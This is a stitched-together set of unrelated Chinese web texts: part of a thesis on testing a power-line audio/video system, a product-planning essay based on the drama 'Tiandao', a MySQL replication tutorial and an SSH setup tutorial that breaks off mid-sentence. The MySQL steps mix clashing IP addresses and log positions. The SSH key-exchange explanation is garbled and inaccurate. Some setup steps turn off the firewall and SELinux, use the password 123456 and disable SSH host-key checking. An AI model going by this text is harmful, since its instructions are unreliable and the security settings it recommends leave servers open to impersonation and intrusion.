Utility软件上的Connect按钮,可以看到通信速率相关信息,如图6-6所示:图6-6 PowerPacket Utility软件测试效果由上图可知,本次测试与PC机相连接的调制解调器的MAC地址是00:26:75:37:D4:46,与A8平台相连接的调制解调器的MAC地址是00:26:75:45:10:16,通信速率高达85Mbps。通过以上测试,电力线载波通信方案完全满足设计要求。6.2.4 联机测试通过对三个模块的单独测试,各模块完全满足设计要求,下面对系统总体功能进行测试。编写A8平台GTK+界面显示代码,修改image.sh脚本文件,使用串口线、插座和网线连接PC机和A8硬件平台,打开串口调试终端,通过PowerPacket Utility软件测试网络连接。进入A8平台Linux操作系统相应目录,关闭系统自启动Boa服务器,在命令行输入./image.sh运行脚本文件,此时视频流服务器、Boa服务器和音频流服务器全部正常开启。在PC端打开谷歌浏览器,输入服务器IP地址,登陆进入视频显示页面;进入PC端Linux操作系统相应目录,在命令行输入./x86 –l –h 10.220.1.123,此时可以实现实时音频通信。网络连接情况如图6-7所示:图6-7 网络连接情况图由上图可知,系统网络连接正常。服务器登陆情况如图6-8所示:图6-8 网络服务器登陆图由上图可知,系统Boa服务器运行正常。视频流采集情况如图6-9所示:图6-9 视频显示页面由上图可知,视频流服务器运行正常,图像采集正常。音视频流采集情况如图6-10所示:图6-10 音视频播放与显示页面在A8硬件平台附近或PC机附近说话,可以在另一端听到相应声音;改变摄像头位置,可以看到网页端图像发生相应变化。经过以上测试,本次系统方案完全满足设计要求。6.3 总结与展望本章在开始部分介绍了测试前所需要的工具软件,接下来分别对音频、视频和电力线载波通信模块进行了功能测试,最后对系统进行了整体功能测试。经过测试,本系统按要求实现了所有功能。但由于时间以及成本的问题,仍有许多不足需要改进。在视频编码部分,由于采用软件压缩,增加了系统软件开销并且编码效率要比硬件压缩低;在音频编码部分,由于本次设计未对音频数据进行压缩处理,增加了传输所需带宽。为了增加设计的实用性,必将继续努力,不断学习新的知识和技能,不断完善本次设计。从《天道》的角度谈谈产品规划原创2023-02-24 21:05·产品人卫朋今天主要借用《天道》中丁元英的商业案例来谈谈产品规划这个话题。《天道》这部被众人追捧的影视剧来源于豆豆的成名作《遥远的救世主》。如果没有全局做过产品或者市场的规划,而且是初次接触这部剧。你就会惊叹于主人公的组局、布局,以及成局的能力。从互联网拥簇的评论声中,也可见一斑。剧中的丁元英甚至都有一种被神化的趋势。而随着个人知识和阅历的增加,再加上每年也都要做产品规划。也逐渐对这部剧或者这本书有了一些新的认识。究其本质,这是一种战略性的思维,也是一种规划的能力。更是一种市场与内部能力的匹配过程。笔者之前也分享过这块的内容,也看到了一些质疑。怎么能用虚拟的案例做讲解呢?其实这么做的原因主要有两点考虑:首先,这部剧中的商业案例的整体逻辑是自洽的,而且也符合当时的商业环境。其次,整部剧将整个商业案例完整地呈现了出来,也包括其中很多的决策细节。这就要比分析现实案例直观得多,也更加有指导意义。再回到产品规划这个话题上来。产品规划从本质上来说是一种推演能力,也就是根据第一性原则推演产品从0到1、从1到100的一个过程。如果说一款产品是一个点的话,那产品规划便是通过构造一种系统能力以达成企业最终的商业目的。第一性原理是埃隆·马斯克非常推崇的一种思维模型。通常来说,企业愿景对应的便是企业的第一性原则。围绕第一性原则可以激发资源优势、制定细分市场目标,最终实现企业目标。下面以影视剧中丁元英操盘的格律诗音响项目为例,谈谈产品规划。格律诗音响公司的企业愿景是实现王庙村生产力和市场的对接,最终实现农户脱贫。这是企业的愿景,同时也是丁元英承诺要给红颜知己芮小丹创造的神话。启动一个项目或产品,资源和人力配置是你首先要考虑的。企业在不同的发展周期,对人的要求是有很大差异的。丁元英在分析完这些人的本质之后,并没有把自己的全套计划完整地告诉原始这些人。而是通过市场的变化来淘汰掉一部分人。因为这部分人现在不淘汰掉,在以后的市场变化中,可能会给公司带来毁灭性的灾难。下面就先梳理一下其中的关键人物:丁元英作为格律诗音响项目的唯一操盘手,全局规划了整个项目。他的优势是自己在欧洲的人脉和战略规划能力,以及在欧阳雪等人心中的影响力。同时,作为发烧级音乐玩家,他对音箱的独特见解也为他们打造差异化的产品起到了关键助力作用。差异化的意思是相比于竞争对手,你的独特优势或者护城河,没有这个前提,整个策略也就无从谈起,这为他们赢得了时间上的先机。在音响这个市场,竞品已经很成功了,而且他们提供的价值点已经被用户接受。如果按照他们的价值点去做产品,你就永远只能跟在他们身后。这时候就需要找一个跟他们不一样的价值点,做差异化。欧阳雪这个人呢,做事很踏实,很讲义气,不贪心。优势是人脉、资金和社会地位。这个人的价值在于她对格律诗的绝对控股,这样就可以确保关键决策权的归属。由于每个人的认知水平的限制,很多时候不同个体看到的终局是有极大差异的,这个时候你就需要考虑如何增加成事的确定性。如果开公司的话,股权的分配问题是你优先要考虑的。不赚钱的时候,大家还都能力出一孔。一旦公司有起色,每个人就开始有自己的诉求,不确定性也就随之而来。肖亚文见过世面,知道公司怎么运行,知道商务谈判和商务合作的事情,是很精明的职场人物。而冯世杰和叶晓明想成就一番事业,但没有机会,能够脚踏实地的做事情,但眼光欠缺。刘冰是小人物,唯利是图,关键时刻不能顶上,迟早会被淘汰。叶晓明,冯世杰,刘冰这三个人的优势就是懂音乐,会组装,可以作为高级技术工。同时,这三人和王庙村农民有一定的关系,可以作为连接的纽带,核心竞争力是技术和人脉。乐圣公司的掌舵人是林雨峰(竞争对手),但太过刚硬,只知道进攻,不懂防守,考虑问题存在漏洞。这就有点类似竞争分析了,通过分析竞争对手的漏洞,找到破局点,制定商业竞争策略。接下来就需要统一思想了:想要以小博大,达成乐圣跟王庙村合作的目的,就必须把优势发挥到最大效果。这才有几次股东开会,召集农民兄弟一起开会等,就是为了统一思想。市场的生存竞争非常残酷,胜负往往就在毫厘之间,微弱的优势都可能成为关键一环,你比他多一口气,你就是赢家。最后,丁元英就把这些人的优势资源整合起来,按照需要组建公司,精心规划。详细案例分析可以参阅笔者之前的文章。卫朋人人都是产品经理受邀专栏作家,CSDN 嵌入式领域新星创作者、资深技术博主。2020 年 8 月开始写产品相关内容,截至目前,人人都是产品经理单渠道阅读 56 万+,鸟哥笔记单渠道阅读200 万+,CSDN 单渠道阅读 210 万+,51CTO单渠道阅读 180 万+。卫朋入围2021/2022年人人都是产品经理平台年度作者,光环国际学习社区首批原创者、知识合作伙伴,商业新知 2021 年度产品十佳创作者,腾讯调研云2022年达人榜第三名。文章被人人都是产品经理、CSDN、华为云、运营派、产品壹佰、鸟哥笔记、光环国际、商业新知、腾讯调研云等头部垂直类媒体转载。文章见仁见智,各位看官可策略性选择对于自己有用的部分。
MySQL主从复制+读写分离(一)
一、MySQL主从复制1.1mysql的复制类型基于语句的复制(STATEMENT,mysql默认类型):在主服务器上执行的 SQL 语句,在从服务器上执行同样的语句。MySQL 默认采用基于语句的复制,效率比较高基于行的复制(ROW):把改变的内容复制过去,而不是把命令在从服务器上执行一遍混合类型的复制(MIXED):默认采用基于语句的复制,一旦发现基于语句无法精确复制时,就会采用基于行的复制1.2mysql主从复制的工作过程两日志: 二进制日志和中继日志三线程: master的dump和slave的I/O、sqldump Thread: 为每个Slave的I/O Thread启动一个dump线程,用于向其发送binary log eventsI/O Thread: 向Master请求二进制日志事件,并保存于中继日志中SQL Thread: 从中继日志中读取日志事件,在本地完成重放工作过程:两种说法:首先client端(tomcat)将数据写入到master节点的数据库中,master节点会通知存储引擎提交事务,同时会将数据以(基于行、基于sql、基于混合)的方式保存在二进制日志钟SLAVE节点会开启I/O线程,用于监听master的二进制日志的更新,一旦发生更新内容,则向master的dump线程发出同步请求master的dump线程在接收到SLAVE的I/O请求后,会读取二进制文件中更新的数据,并发送给SLAVE的I/O线程SLAVE的I/O线程接收到数据后,会保存在SLAVE节点的中继日志中同时,SLAVE节点钟的SQL线程,会读取中继日志钟的熟,更新在本地的mysql数据库中最终,完成slave——>复制master数据,达到主从同步的效果或者(1)Master节点将数据的改变记录成二进制日志(bin log),当Master上的数据发生改变时,则将其改变写入二进制日志中(2)Slave节点会在一定时间间隔内对Master的二进制日志进行探测其是否发生改变,如果发生改变,则开始一个I/O线程请求 Master的二进制事件(3)同时Master节点为每个I/O线程启动一个dump线程,用于向其发送二进制事件,并保存至Slave节点本地的中继日志(Relay log)中(4)Slave节点将启动SQL线程从中继日志中读取二进制日志,在本地存放,即解析成 sql 语句逐一执行,使得其数据和 Master节点的保持一致,最后I/O线程和SQL线程将进入睡眠状态,等待下一次被唤醒注意:中继日志通常会位于 OS 缓存中,所以中继日志的开销很小复制过程有一个很重要的限制,即复制在slave上是串行化的,也就是说Master上的并行更新操作不能在slave上并行操作1.3MySQL的四种同步方式MySQL有四种同步方式:1、异步复制(Async Replication)2、同步复制(sync Replication)3、半同步复制(Async Replication)4、增强半同步复制(lossless Semi-Sync Replication)、无损复制1.3.1异步复制(Async Replication)主库将更新写入Binlog日志文件后,不需要等待数据更新是否已经复制到从库中,就可以继续处理更多的请求。Master将事件写入binlog,但并不知道Slave是否或何时已经接收且已处理。在异步复制的机制的情况下,如果Master宕机,事务在Master上已提交,但很可能这些事务没有传到任何的Slave上。假设有Master->Salve故障转移的机制,此时Slave也可能会丢失事务。MySQL复制默认是异步复制,异步复制提供了最佳性能。1.3.2同步复制(Sync Replication)主库将更新写入Binlog日志文件后,需要等待数据更新已经复制到从库中,并且已经在从库执行成功,然后才能返回继续处理其它的请求。同步复制提供了最佳安全性,保证数据安全,数据不会丢失,但对性能有一定的影响。1.3.3半同步复制(Semi-Sync Replication)主库提交更新写入二进制日志文件后,等待数据更新写入了从服务器中继日志中,然后才能再继续处理其它请求。该功能确保至少有1个从库接收完主库传递过来的binlog内容已经写入到自己的relay log里面了,才会通知主库上面的等待线程,该操作完毕。半同步复制,是最佳安全性与最佳性能之间的一个折中。MySQL 5.5版本之后引入了半同步复制功能,主从服务器必须安装半同步复制插件,才能开启该复制功能。如果等待超时,超过rpl_semi_sync_master_timeout参数设置时间(默认值为10000,表示10秒),则关闭半同步复制,并自动转换为异步复制模式。当master dump线程发送完一个事务的所有事件之后,如果在rpl_semi_sync_master_timeout内,收到了从库的响应,则主从又重新恢复为增强半同步复制。ACK (Acknowledge character)即是确认字符。1.3.4增强半同步复制(lossless Semi-Sync Replication、无损复制)增强半同步是在MySQL 5.7引入,其实半同步可以看成是一个过渡功能,因为默认的配置就是增强半同步,所以,大家一般说的半同步复制其实就是增强的半同步复制,也就是无损复制。增强半同步和半同步不同的是,等待ACK时间不同rpl_semi_sync_master_wait_point = AFTER_SYNC(默认)半同步的问题是因为等待ACK的点是Commit之后,此时Master已经完成数据变更,用户已经可以看到最新数据,当Binlog还未同步到Slave时,发生主从切换,那么此时从库是没有这个最新数据的,用户看到的是老数据。增强半同步将等待ACK的点放在提交Commit之前,此时数据还未被提交,外界看不到数据变更,此时如果发送主从切换,新库依然还是老数据,不存在数据不一致的问题1.4MySQL集群和主从复制分别适合什么场景下使用集群和主从复制是为了应对高并发、大访问量的情况,如果网站访问量和并发量太大了,少量的数据库服务器是处理不过来的,会造成网站访问慢,数据写入会造成数据表或记录被锁住,锁住的意思就是其他访问线程暂时不能读写要等写入完成才能继续,这样会影响其他用户读取速度,采用主从复制可以让一些服务器专门读,一些专门写可以解决这个问题1.5为什么使用主从复制,读写分离主从复制、读写分离一般是一起使用的,目的很简单,就是为了提高数据库的并发性能。你想,假设是单机,读写都在一台MySQL上面完成,性能肯定不高。如果有三台MySQL,一台mater只负责写操作,两台salve只负责读操作,性能不就能大大提高了吗?所以主从复制、读写分离就是为了数据库能支持更大的并发随着业务量的扩展、如果是单机部署的MySQL,会导致I/O频率过高。采用主从复制、读写分离可以提高数据库的可用性1.6用途及条件(1)MYSQL主从复制用途:实时灾备,用于故障切换读写分离,提供查询服务备份,避免影响服务(2)必要条件主库开启binlog日志主从server-id不同从库服务器能够连通主库1.7MYSQL主从复制存在的问题①主库宕机后,数据可能丢失②从库只有一个SQL Thread,主库写压力大,复制很可能延时解决办法:半同步复制——解决数据丢失的问题并行复制——解决从库复制延迟的问题1.8MySQL主从复制延迟(1)master服务器高并发,形成大量事务(2)网络延迟(3)主从硬件设备导致——cpu主频、内存io、硬盘io(4)本来就不是同步复制、而是异步复制从库优化Mysql参数。比如增大innodb_buffer_pool_size,让更多操作在Mysql内存中完成,减少磁盘操作从库使用高性能主机,包括cpu强悍、内存加大。避免使用虚拟云主机,使用物理主机,这样提升了i/o方面性从库使用SSD磁盘网络优化,避免跨机房实现同步二、MySQL读写分离2.1什么是读写分离2.1.1读写分离基本原理读写分离,基本的原理是让主数据库处理事务性增、改、删操作(INSERT、UPDATE、DELETE),而从数据库处理SELECT查询操作数据库复制被用来把事务性操作导致的变更同步到集群中的从数据库2.1.2mysql读写分离原理读写分离就是只在主服务器上写,只在从服务器上读。基本的原理是让主数据库处理事务性操作,而从数据库处理 select 查询。数据库复制被用来把主数据库上事务性操作导致的变更同步到集群中的从数据库2.2为什么要读写分离因为数据库的“写”(写10000条数据可能要3分钟)操作是比较耗时的但是数据库的“读”(读10000条数据可能只要5秒钟)所以读写分离,解决的是,数据库的写入,影响了查询的效率2.3什么时候要读写分离(1)数据库不一定要读写分离,如果程序使用数据库较多时,而更新少,查询多的情况下会考虑使用。(2)利用数据库主从同步,再通过读写分离可以分担数据库压力,提高性能2.4主从复制与读写分离在实际的生产环境中,对数据库的读和写都在同一个数据库服务器中,是不能满足实际需求的。无论是在安全性、高可用性还是高并发等各个方面都是完全不能满足实际需求的。因此,通过主从复制的方式来同步数据,再通过读写分离来提升数据库的并发负载能力。有点类似于rsync,但是不同的是rsync是对磁盘文件做备份,而mysql主从复制是对数据库中的数据、语句做备份2.5MySQL读写分离的俩种实现方式目前较为常见的mysql读写分离分为以下俩种:2.5.1基于程序代码内部实现在代码中根据 select、insert 进行路由分类,这类方法也是目前生产环境应用最广泛的优点是性能较好,因为在程序代码中实现,不需要增加额外的设备为硬件开支;缺点是需要开发人员来实现,运维人员无从下手但是并不是所有的应用都适合在程序代码中实现读写分离,像一些大型复杂的Java应用,如果在程序代码中实现读写分离对代码改动就较大2.5.2基于中间代理层实现代理一般位于客户端和服务器之间,代理服务器接到客户端请求后通过判断后转发到后端数据库,有以下代表性程序(1)MySQL-Proxy:MySQL-Proxy 为 MySQL 开源项目,通过其自带的 lua 脚本进行SQL 判断。(2)Atlas:是由奇虎360的Web平台部基础架构团队开发维护的一个基于MySQL协议的数据中间层项目。它是在mysql-proxy 0.8.2版本的基础上,对其进行了优化,增加了一些新的功能特性。360内部使用Atlas运行的mysql业务,每天承载的读写请求数达几十亿条。支持事物以及存储过程。(3)Amoeba:由陈思儒开发,作者曾就职于阿里巴巴。该程序由Java语言进行开发,阿里巴巴将其用于生产环境。但是它不支持事务和存储过程。注:由于使用MySQL Proxy 需要写大量的Lua脚本,这些Lua并不是现成的,而是需要自己去写。这对于并不熟悉MySQL Proxy 内置变量和MySQL Protocol 的人来说是非常困难的。Amoeba是一个非常容易使用、可移植性非常强的软件。因此它在生产环境中被广泛应用于数据库的代理层三、MySQL主从复制和读写分离实验部署3.1环境配置服务器系统IP地址安装包或软件MasterCentOS 7192.168.145.10ntp, mysql-boost-5.7.20.tar.gzSlave 1CentOS 7192.168.145.21ntp,ntpdate,mysql-boost-5.7.20.tar.gzSlave 2CentOS 7192.168.145.12ntp,ntpdate, mysql-boost-5.7.20.tar.gzAmoebaCentOS 7192.168.121.22jdk-6u14-linux-x64.bin、amoeba-mysql-binary-2.2.0.tar.gz客户端CentOS 7192.168.121.55Mariadb3.2初始环境准备systemctl stop firewalld
systemctl disable firewalld
setenforce 0
3.3搭建MySQL主从复制3.3.1搭建时间同步(主服务器:192.168.145.10)主mysql服务器192.168.145.10上的配置总体操作:1.#安装时间同步服务器
yum install ntp -y
2.#修改配置文件
vim /etc/ntp.conf
server 127.127.137.0 #设置本地时钟源
fudge 127.127.137.0 stratum 8 #设置时间层级为8 限制在15 以内
3.#开启服务
service ntpd start
安装时间同步服务器
分部演示:①安装时间同步服务器#安装时间同步服务器
yum install ntp -y
②修改配置文件#修改配置文件
vim /etc/ntp.conf
server 127.127.137.0 #设置本地时钟源
fudge 127.127.137.0 stratum 8 #设置时间层级为8 限制在15 以内
④开启服务#开启服务
service ntpd start3.3.2搭建时间同步(从服务器:192.168.145.21、192.168.145.12)总体操作:1.#安装时间同步服务器、同步服务
yum install ntp -y
yum install ntpdate -y
2. #开启服务
service ntpd start
3. #执行同步
/usr/sbin/ntpdate 192.168.145.10
4.#计划定时任务
crontab -e
*/30 * * * * /usr/sbin/ntpdate 192.168.145.10
###########slave2:192.168.145.12与以上操作相同######
分部演示:从mysql服务器192.168.145.21上的配置①安装时间同步服务器、同步服务#安装时间同步服务器、同步服务
yum install ntp -y
yum install ntpdate -y
②开启服务#开启服务
service ntpd start
•
• ③执行同步#执行同步
/usr/sbin/ntpdate 192.168.145.10
④计划定时任务计划定时任务
crontab -e
*/30 * * * * /usr/sbin/ntpdate 192.168.145.10
• 1
• 2
• 3从mysql服务器192168.145.12上的配置(与上文配置相同)①安装时间同步服务器、同步服务#安装时间同步服务器、同步服务
yum install ntp -y
yum install ntpdate -y
②开启服务#开启服务
service ntpd start
③执行同步#执行同步
/usr/sbin/ntpdate 192.168.137.20#执行同步/usr/sbin/ntpdate 192.168.137.20④计划定时任务#计划定时任务
crontab -e
*/30 * * * * /usr/sbin/ntpdate 192.168.145.10
3.3.3配置主服务器(192.168.145.10)总体操作:1. #开启二进制日志
vim /etc/my.cnf
log-bin=master-bin #开启二进制日志
binlog_format=MIXED #二进制日志格式
log-slave-updates=true #开启从服务器同步
2. #重启服务
systemctl restart mysqld.service
3. #登入mysql,给从服务器在网段授权
mysql -uroot -p123456
grant replication slave on *.* to 'myslave'@'192.168.145.%' identified by '123456';
#刷新数据库
flush privileges;
#查看主服务器二进制文件
show master status;
分部演示:①开启二进制日志#开启二进制日志
vim /etc/my.cnf
server-id = 1 #修改server-id,主从服务器的server-id都不能重复
log-bin=master-bin #开启二进制日志
binlog_format=MIXED #二进制日志格式为MIXED
log-slave-updates=true #开启从服务器同步
②重启服务systemctl restart mysqld.service③登入mysql,给从服务器在网段授权mysql -uroot -p123456
GRANT REPLICATION SLAVE ON *.* TO 'myslave'@'192.168.145.%' IDENTIFIED BY '123456'; #给从服务器授权
flush privileges; #刷新数据库
show master status; #查看主服务器二进制文件3.3.4配置从服务器(192.168.145 .21/192.168.145.12)总体操作:1.#开启二进制日志
vim /etc/my.cnf
server-id = 2 #slave1和slave2的id不能相同,我slave2设置的3
relay-log=relay-log-bin
relay-log-index=slave-relay-bin.index
relay_log_recovery = 1
2.#重启服务
systemctl restart mysqld.service
3. #登入mysql,配置同步注意master_log_file和master_log_pos的值要和master查询的一致
mysql -uroot -p123456
change master to master_host='192.168.137.20',master_user='myslave',master_password='123456',master_log_file='master-bin.000003',master_log_pos=604;
4.#启动同步,如果报错,执行restart slave试试
start slave;
show slave status\G;
##以下两个必须要是YES
#Slave_IO_Running: Yes
#Slave_SQL_Running: Yes
分部演示:#########slave2:192.168.145.21与以上操作相同######从mysql服务器192168.145.21上的配置①开启二进制日志vim /etc/my.cnf
server-id = 2 #修改,注意id与Master的不同,两个Slave的id也要不同
relay-log=relay-log-bin #添加,开启中继日志,从主服务器上同步日志文件记录到本地
relay-log-index=slave-relay-bin.index #添加,定义中继日志文件的位置和名称
relay_log_recovery = 1 #选配项
#当 slave 从库宕机后,假如 relay-log 损坏了,导致一部分中继日志没有处理,则自动放弃所有未执行的 relay-log,并且重新从 master 上获取日志,这样就保证了relay-log 的完整性。默认情况下该功能是关闭的,将 relay_log_recovery 的值设置为 1 时, 可在 slave 从库上开启该功能,建议开启
②重启服务systemctl restart mysqld.service③登入mysql,配置同步注意master_log_file和master_log_pos的值要和master查询的一致mysql -u root -pmysql -u root -p
change master to master_host='192.168.145.10',master_user='myslave',master_password='123456',master_log_file='master-bin.000001',master_log_pos=756;
#配置同步,注意 master_log_file 和 master_log_pos 的值要与Master查询的一致,这里的是例子,每个人的都不一样
④启动同步start slave; #启动同步,如有报错执行 reset slave;
show slave status\G #查看 Slave 状态
//确保 IO 和 SQL 线程都是 Yes,代表同步正常。
Slave_IO_Running: Yes #负责与主机的io通信
Slave_SQL_Running: Yes #负责自己的slave mysql进程一般 Slave_IO_Running: Connecting/No 的可能性:1、网络不通2、my.cnf配置有问题3、密码、file文件名、pos偏移量不对4、防火墙没有关闭从mysql服务器192168.137.10上的配置①开启二进制日志vim /etc/my.cnf
server-id = 3 #slave1和slave2的id不能相同,我slave2设置的3
relay-log=relay-log-bin
relay-log-index=slave-relay-bin.index
relay_log_recovery = 1
②重启服务systemctl restart mysqld.service
1③登入mysql,配置同步注意master_log_file和master_log_pos的值要和master查询的一致mysql -u root -p
change master to master_host='192.168.137.20',master_user='myslave',master_password='123456',master_log_file='master-bin.000003',master_log_pos=604;
#配置同步,注意 master_log_file 和 master_log_pos 的值要与Master查询的一致,这里的是例子,每个人的都不一样
④启动同步start slave; #启动同步,如有报错执行 reset slave;
show slave status\G #查看 Slave 状态
//确保 IO 和 SQL 线程都是 Yes,代表同步正常。
Slave_IO_Running: Yes #负责与主机的io通信
Slave_SQL_Running: Yes #负责自己的slave mysql进程
Linux网络——远程访问控制(SSH服务)
一、SSH远程管理基础1.1 SSH定义SSH(Secure Shell)是一种安全通道协议,主要用来实现字符界面的远程登录、远程 复制等功能;SSH 协议对通信双方的数据传输进行了加密处理,其中包括用户登录时输入的用户口令;SSH 为建立在应用层和传输层基础上的安全协议。对数据进行压缩,加快传输速度。结构样式: SSH客户端<--------------网络---------------->SSH服务端1.2 SSH优点数据传输是加密的,可以防止信息泄露数据传输是压缩的,可以提高传输速度1.3常见的ssh协议客户端: Linux Client: ssh, scp, sftp,sloginWindows Client:xshell, MobaXterm,putty, securecrt, sshsecureshellclientOpenSSH 是实现SSH协议的开源软件项目,适用于各种UNIX、 Linux 操作系统。Centos 7系统默认已安装openssh相关软件包,并将sshd 服务添加为开机自启动。执行" systemctl start sshd "命令即可启动sshd 服务sshd 服务默认使用的是TCP的22端口,安全协议版本sshv2,出来2之外还有1(有漏洞)sshd服务的默认配置文件是 /etc/ssh/sshd_config ssh_config 和 sshd_config 都是ssh服务器的配置文件,二者区别在于前者是针对客户端的配置文件,后者则是针对服务端的配置文件。总结下来即为服务名称:sshd
服务端主程序:/usr/sbin/sshd
服务端配置文件:/etc/ssh/sshd_config
客户端配置文件:/etc/ssh/ssh_config1. 4ssh原理①客户端发起链接请求②服务端返回自己的公钥,以及一个会话ID(这一步客户端得到服务端公钥)③客户端生成密钥对④客户端用自己的公钥异或会话ID,计算出一个值Res,并用服务端的公钥加密⑤客户端发送加密后的值到服务端,服务端用私钥解密,得到Res⑥服务端用解密后的值Res异或会话ID,计算出客户端的公钥(这一步服务端得到客户端公钥)⑦最终:双方各自持有三个秘钥,分别为自己的一对公、私钥,以及对方的公钥,之后的所有通讯都会被加密二、openSSH服务器配置文件2.1配置服务vim /etc/ssh/sshd_config #修改sshd服务的主配置文件Port 22 #监听端口,默认22,为了安全可以更改为高位端口ListenAddress 0.0.0.0 #监听地址,如果主机不需要从公网ssh访问,可以把监听地址改为内网地址UseDNS yes #DNS反向解析(禁止会加快响应速度)SyslogFacility AUTHPRIV #用户登录的信息记录的类型为AUTHPRIV,sshd服务日志存放在: /var/1og/secureAllowUsers zhangbin #只允许zhangbin用户通过ssh登入,注:root用户不在名单中,也无法登入DenyUsers csdn #拒绝csdn用户通过ssh登入;注:DenyUsers与AllowUsers不能同时使用LoginGraceTime 2m #登录时间限制2分钟,超时拒绝登录PermitRootLogin yes #是否允许root用户登入PasswordAuthentication yes #密码验证登录PermitEmptyPasswords no #是否允许空密码用户登入PrintLastLog yes #显示上次登入信息MaxAuthTries 6 #每个连接最大允许认证次数,若认证次数超过此数值一半,连接强制断开2.2解析LoginGraceTime 2m Grace优雅grace意思是系统给与多少秒来进行登录。(默认2分钟,0 表示无限制)当使用者连上 SSH server 之后,会出现输入密码的画面,在该画面中。在多久时间内没有成功连上SSHserver 就强迫断线!若无单位则默认时间为秒。可以根据实际情况来修改实际PermitRootLogin yes是否允许 root 登入,默认是允许的,但是建议设定成 no,真实的生产环境服务器,是不允许root 账号直接登陆的,仅允许普通用户登录,需要用到 root 用户再切换到root 用户。案列:创建用户zhangsan、lisi查询组grep “wheel” /etc/groupgpasswd -a zhangsan wheel #zhangsan 用户已加入 wheel 组开启pam模块PasswordAuthentication yes密码验证当然是需要的!所以这里写 yes,也可以设置为 no,在真实的生产服务器上,根据不同安全级别要求,有的是设置不需要密码登陆的,通过认证的秘钥来登陆。PubkeyAuthentication yes打开密钥,用于key的认证(ssh加密协议)PermitEmptyPasswords no是否允许空密码的用户登录,默认为no,不允许空密码登录PrintLastLog yes显示上次登入的信息!默认为 yesMaxAuthTries 6指定每个连接最大允许的认证次数。默认值是 6 。如果失败认证的次数超过这个数值的一半,连接将被强制断开,且会生成额外的失败日志消息默认3次验证ssh -o NumberOfPasswordPrompts=8 lisi@192.168.10.9AllowUsers 相当于黑白名单当希望只允许或禁止某些用户登录时,可以使用 AllowUsers 或 DenyUsers 配置,两者 用法类似(注意不要同时使用)。配置AllowUsers例如,若只允许 zhangsan、wangwu 用户登录,其他(lisi)用户AllowUsers zhangsan@192.168.10.10 wangwu2.3总结安全策略对未经过安全认证的RPM包进行安全检查Linux用户方面的加固设定密码策略对用户密码强度的设定对用户的登录次数进行限制禁止ROOT用户远程登录设置历史命令保存条数和账户超时时间设置只有指定用户组才能使用su命令切换到root用户对Linux账户进行管理对重要的文件进行锁定,即使root用户也无法删除建立日志服务器日志2.4SSH服务验证sshd服务支持两种验证方式1.密码验证:对服务器中本地系统用户的登录名称、密码进行验证。这种方式使用最为简便。但从客户端角度来看,正在连接的服务器有可能被假冒;从服务器角度来看,当遭遇密码穷举(暴力破解)攻击时防御能力比较弱。同时:18位密码复杂性(大写、小写、字符、数字) 端口(1023以上叫做高危端口)2.密钥对验证:要求提供相匹配的密钥信息才能通过验证。通常先在客户端中创建一对密钥文件(公钥、私钥),然后将公钥文件放到服务器中的指定位置。远程登录时,系统将使用公钥、私钥进行加密/解密关联验证,大大增强了远程管理的安全性。该方式不易被假冒,且可以免交互登录,在Shell 中被广泛使用。当密码验证、密钥对验证都启用时,服务器将优先使用密钥对验证。对于安全性要求较高的服务器,建议将密码验证方式禁用,只允许启用密钥对验证方式;若没有特殊要求,则两种方式都可启用。三、SSHD服务2.1远程登录-l:指定登录名称。-P:指定登录端口(当服务端的端口非默认时,需要使用-p指定端口进行登录)登录方法一:ssh 远程服务器用户名@远程服务器主机名或IP地址 -p 端口 //默认端口为22,可以不加-p登录方法二:ssh -l +远程主机用户名 +远程服务器主机名或IP地址 -p 端口因方法二繁琐,我们正常使用方法一进行远程登录2.2文件传输sftp是安全文件传送协议,可以为传输文件提供一种安全的网络的加密方法。sftp与ftp有着几乎一样的语法和功能。SFTP 为SSH的其中一部分,其实在SSH软件包中,已经包含了一个叫作SFTP全文件信息传输子系统,SFTP本身没有单独的守护进程,它必须使用sshd守护进程(端口号默认是22)来完成相应的连接和答复操作。所以,使用SFTP是非常安全的。但是,由于这种传输方式使用了加密/解密技术,所以传输效率比普通的FTP要低得多,如果您对网络安全性要求更高时,可以使用SFTP代替FTP。sftp root@192.168.48.6 #登陆到服务器
get #下载
get -r #下载目录
put #默认会上传到/root
help #查看sftp可使用的命令和用途
pwd #显示当前服务器所在位置
lpwd #显示当前主机位置2.3故障集在平时工作中,有时候需要sSH登陆到别的Linux主机上去,但有时候SSH登陆会被禁止,并弹出如下类似提示:The authenticity of host ‘192.168.10.9 (192.168.10.9)’ can’t be established.ECDSA key fingerprint is SHA256:AaGpHeEiRuXMy96oezzV6Toej5nJUmZIe/djqR7qCVk.ECDSA key fingerprint is MD5:78:al:bl:1c:36:76:c7:34:54:87:cc:ea:51:3f:0c:24.Are you sure you want to continue connecting (yes/no) ? yeswarning: Permanently added '192.168.10.9’(ECDSA) to the list of known hosts.Authentication failed.ssh会把你每个你访问过计算机的公钥(publickey)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpensSH会核对公钥。如果公钥不同,openSSH会发出警告,避免你受到DNS Hijack之类的攻击。2.3.1解决方法sshd服务器配置文件为:/etc/ssh/sshd_config1.使用ssh连接远程主机时加上"-o strictHostKeyChecking=no"的选项,如下:ssh -o .StrictHostKeyChecking=no 192.168.XXX.XXX2.一个彻底去掉这个提示的方法是,修改/etclssh/ssh_config文件(或$HOME/.ssh/config)中的配置,添加如下两行配置:strictHostKeyChecking no
UserKnownHostsFile /dev/null原因:一台主机上有多个Linux系统,会经常切换,那么这些系统使用同一ip,登录过一次后就会把ssh信息记录在本地的~/.ssh/known hsots文件中,切换该系统后再用ssh访问这台主机就会出现冲突警告,需要手动删除修改known_hsots里面的内容。四、构建密钥对验证SSH4.1 公钥和私钥的关系在非对称加密技术中,有两种密钥,分为私钥和公钥,私钥是密钥对所有者持有,不可公布,公钥是密钥对持有者公布给他人的。公钥用来给数据加密,用公钥加密的数据只能使用私钥解vim/etc/ssh/sshd_configPubkeyAuthentication yes #启用密钥对验证Authori zedKeysFile .ssh/authorized_ keys #指定公钥库文件,默认存在“~/,ssh/”4.1.2 构建密钥对验证SSH的原理首先ssh通过加密算法在客户端产生密钥对(公钥和私钥),公钥发送给服务器端,自己保留私钥,如果要想连接到带有公钥的SSH服务器,客户端SSH软件就会向SSH服务器发出请求,请求用联机的用户密钥进行安全验证。SSH服务器收到请求之后,会先在该SSH服务器上连接的用户的家目录下寻找事先放上去的对应用户的公用密钥,然后把它和连接的SSH客户端发送过来的公用密钥进行比较。如果两个密钥一致,SSH服务器就用公钥加密"质询"(challenge)并把它发送给SSH客户端。4.1.3 scp复制安全性复制scp:scp是secure 